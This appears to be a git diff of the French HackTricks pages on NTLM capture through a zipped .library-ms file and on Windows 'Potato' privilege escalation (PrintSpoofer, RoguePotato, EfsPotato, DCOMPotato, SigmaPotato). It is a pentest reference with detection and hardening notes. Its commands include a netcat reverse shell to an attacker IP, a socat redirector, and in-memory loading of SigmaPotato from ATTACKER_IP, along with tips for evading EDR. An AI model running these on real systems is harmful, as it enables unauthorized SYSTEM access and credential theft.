- Zippez-le (sous Windows : Send to → Compressed (zipped) folder) et transmettez le ZIP à la cible.
|
||||
- Lancez un NTLM capture listener et attendez que la victime ouvre le .library-ms depuis l'intérieur du ZIP.
|
||||
|
||||
|
||||
## Références
|
||||
- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,10 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 build 1809 et versions ultérieures. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** peuvent être utilisés pour obtenir les mêmes privilèges et atteindre un accès de niveau `NT AUTHORITY\SYSTEM`. Ce [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondit l'outil `PrintSpoofer`, qui peut être utilisé pour abuser des privilèges d'impersonation sur des hôtes Windows 10 et Server 2019 où JuicyPotato ne fonctionne plus.
|
||||
> **JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 build 1809 et versions ultérieures. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** peuvent être utilisés pour obtenir les mêmes privilèges et parvenir à un accès de niveau `NT AUTHORITY\SYSTEM`. Ce [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) explore en profondeur l'outil `PrintSpoofer`, qui peut être utilisé pour abuser des privilèges d'impersonation sur des hôtes Windows 10 et Server 2019 où JuicyPotato ne fonctionne plus.
|
||||
|
||||
> [!TIP]
|
||||
> Une alternative moderne fréquemment maintenue en 2024–2025 est SigmaPotato (un fork de GodPotato) qui ajoute l'usage en mémoire/.NET reflection et un support OS étendu. Voir l'utilisation rapide ci-dessous et le repo dans References.
|
||||
> Une alternative moderne fréquemment maintenue en 2024–2025 est SigmaPotato (un fork de GodPotato) qui ajoute l'utilisation in-memory/.NET reflection et un support étendu des OS. Voir l'utilisation rapide ci‑dessous et le repo dans References.
|
||||
|
||||
Related pages for background and manual techniques:
|
||||
|
||||
@ -22,23 +22,24 @@ from-high-integrity-to-system-with-name-pipes.md
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Prérequis et pièges courants
|
||||
## Exigences et pièges courants
|
||||
|
||||
Toutes les techniques suivantes reposent sur l'abus d'un service privilégié capable d'impersonation depuis un contexte disposant de l'un des privilèges suivants :
|
||||
|
||||
- SeImpersonatePrivilege (le plus courant) ou SeAssignPrimaryTokenPrivilege
|
||||
- Une intégrité élevée n'est pas requise si le token possède déjà SeImpersonatePrivilege (typique pour de nombreux comptes de service tels que IIS AppPool, MSSQL, etc.)
|
||||
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
|
||||
- Un niveau d'intégrité élevé n'est pas requis si le token possède déjà SeImpersonatePrivilege (typique pour de nombreux comptes de service tels que IIS AppPool, MSSQL, etc.)
|
||||
|
||||
Vérifiez rapidement les privilèges :
|
||||
```cmd
|
||||
whoami /priv | findstr /i impersonate
|
||||
```
|
||||
Remarques opérationnelles:
|
||||
Operational notes:
|
||||
|
||||
- PrintSpoofer nécessite que le service Print Spooler soit en cours d'exécution et accessible via le endpoint RPC local (spoolss). Dans les environnements durcis où Spooler est désactivé après PrintNightmare, privilégiez RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato requiert un OXID resolver accessible sur TCP/135. Si l’egress est bloqué, utilisez un redirector/port-forwarder (voir exemple ci-dessous). Les versions plus anciennes nécessitaient le flag -f.
|
||||
- Si votre shell s'exécute sous un token restreint ne disposant pas de SeImpersonatePrivilege (fréquent pour Local Service/Network Service dans certains contextes), récupérez les privilèges par défaut du compte avec FullPowers, puis lancez un Potato. Exemple: `FullPowers.exe -c "cmd /c whoami /priv" -z`
|
||||
- PrintSpoofer nécessite que le service Print Spooler soit en marche et accessible via le point de terminaison RPC local (spoolss). Dans des environnements durcis où Spooler est désactivé après PrintNightmare, privilégiez RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato requiert un résolveur OXID accessible sur TCP/135. Si l'egress est bloqué, utilisez un redirector/port-forwarder (voir l'exemple ci-dessous). Les versions plus anciennes nécessitaient l'option -f.
|
||||
- EfsPotato/SharpEfsPotato exploitent MS-EFSR ; si un pipe est bloqué, essayez des pipes alternatifs (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- L'erreur 0x6d3 lors de RpcBindingSetAuthInfo indique généralement un service d'authentification RPC inconnu/non supporté ; essayez un autre pipe/transport ou assurez-vous que le service cible est en cours d'exécution.
|
||||
- L'erreur 0x6d3 lors de RpcBindingSetAuthInfo indique généralement un service d'authentification RPC inconnu/non supporté ; essayez un autre pipe/transport ou vérifiez que le service cible est en cours d'exécution.
|
||||
|
||||
## Démo rapide
|
||||
|
||||
@ -59,7 +60,7 @@ NULL
|
||||
```
|
||||
Remarques :
|
||||
- Vous pouvez utiliser -i pour lancer un processus interactif dans la console actuelle, ou -c pour exécuter un one-liner.
|
||||
- Requiert le service Spooler. Si désactivé, cela échouera.
|
||||
- Nécessite le service Spooler. Si désactivé, cela échouera.
|
||||
|
||||
### RoguePotato
|
||||
```bash
|
||||
@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
Si les connexions sortantes sur le port 135 sont bloquées, pivotez le résolveur OXID via socat sur votre redirector :
|
||||
Si le port sortant 135 est bloqué, pivot the OXID resolver via socat on your redirector:
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
@ -111,7 +112,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
|
||||
|
||||
nt authority\system
|
||||
```
|
||||
Conseil : Si un pipe échoue ou si l'EDR le bloque, essayez les autres pipes pris en charge :
|
||||
Astuce : si un pipe échoue ou que l'EDR le bloque, essayez les autres pipes pris en charge :
|
||||
```text
|
||||
EfsPotato <cmd> [pipe]
|
||||
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
@ -129,7 +130,7 @@ Remarques:
|
||||
|
||||

|
||||
|
||||
DCOMPotato fournit deux variantes ciblant les objets DCOM de service qui sont par défaut RPC_C_IMP_LEVEL_IMPERSONATE. Compilez ou utilisez les binaries fournis et exécutez votre commande :
|
||||
DCOMPotato fournit deux variantes ciblant les objets DCOM de service qui par défaut utilisent RPC_C_IMP_LEVEL_IMPERSONATE. Compilez ou utilisez les binaries fournis et exécutez votre commande :
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
@ -137,9 +138,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
# McpManagementService variant (Server 2022 also)
|
||||
McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
### SigmaPotato (mis à jour GodPotato fork)
|
||||
### SigmaPotato (fork mis à jour de GodPotato)
|
||||
|
||||
SigmaPotato ajoute des fonctionnalités modernes, comme l'exécution en mémoire via .NET reflection et un helper pour PowerShell reverse shell.
|
||||
SigmaPotato ajoute des fonctionnalités modernes telles que l'exécution en mémoire via .NET reflection et un helper PowerShell pour un reverse shell.
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
@ -150,11 +151,11 @@ SigmaPotato ajoute des fonctionnalités modernes, comme l'exécution en mémoire
|
||||
```
|
||||
## Notes de détection et de durcissement
|
||||
|
||||
- Surveiller les processus créant des named pipes et appelant immédiatement des token-duplication APIs suivis de CreateProcessAsUser/CreateProcessWithTokenW. Sysmon peut fournir une télémétrie utile : Event ID 1 (process creation), 17/18 (named pipe created/connected), et les lignes de commande lançant des processus enfants en tant que SYSTEM.
|
||||
- Durcissement du spooler : désactiver le service Print Spooler sur les serveurs où il n’est pas nécessaire empêche les coercitions locales de type PrintSpoofer via spoolss.
|
||||
- Durcissement des comptes de service : minimiser l’attribution de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege aux services personnalisés. Envisager d’exécuter les services sous des comptes virtuels avec les privilèges minimaux requis et de les isoler avec service SID et des write-restricted tokens quand c’est possible.
|
||||
- Contrôles réseau : bloquer le trafic sortant TCP/135 ou restreindre le trafic du RPC endpoint mapper peut casser RoguePotato sauf si un redirecteur interne est disponible.
|
||||
- EDR/AV : tous ces outils sont largement signaturés. Recompiler depuis les sources, renommer les symboles/chaînes ou utiliser une exécution en mémoire peut réduire la détection mais ne vaincra pas des détections comportementales robustes.
|
||||
- Surveillez les processus créant des named pipes et appelant immédiatement des token-duplication APIs suivis de CreateProcessAsUser/CreateProcessWithTokenW. Sysmon peut fournir une télémétrie utile : Event ID 1 (process creation), 17/18 (named pipe created/connected), et les lignes de commande lançant des processus enfants en tant que SYSTEM.
|
||||
- Durcissement du Spooler : Désactiver le service Print Spooler sur les serveurs où il n'est pas nécessaire empêche les coercitions locales de type PrintSpoofer via spoolss.
|
||||
- Durcissement des comptes de service : Minimisez l'attribution de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege aux services personnalisés. Envisagez d'exécuter les services sous des comptes virtuels avec les privilèges minimaux requis et de les isoler avec le service SID et des write-restricted tokens lorsque c'est possible.
|
||||
- Contrôles réseau : Bloquer le trafic sortant TCP/135 ou restreindre le trafic de l'RPC endpoint mapper peut casser RoguePotato sauf si un redirector interne est disponible.
|
||||
- EDR/AV : Tous ces outils sont largement détectés par signature. Recompiler à partir des sources, renommer les symboles/chaînes, ou utiliser l'exécution en mémoire peut réduire la détection mais ne contrecarrera pas des détections comportementales robustes.
|
||||
|
||||
## Références
|
||||
|
||||
@ -167,5 +168,7 @@ SigmaPotato ajoute des fonctionnalités modernes, comme l'exécution en mémoire
|
||||
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
|
||||
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
|
||||
- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user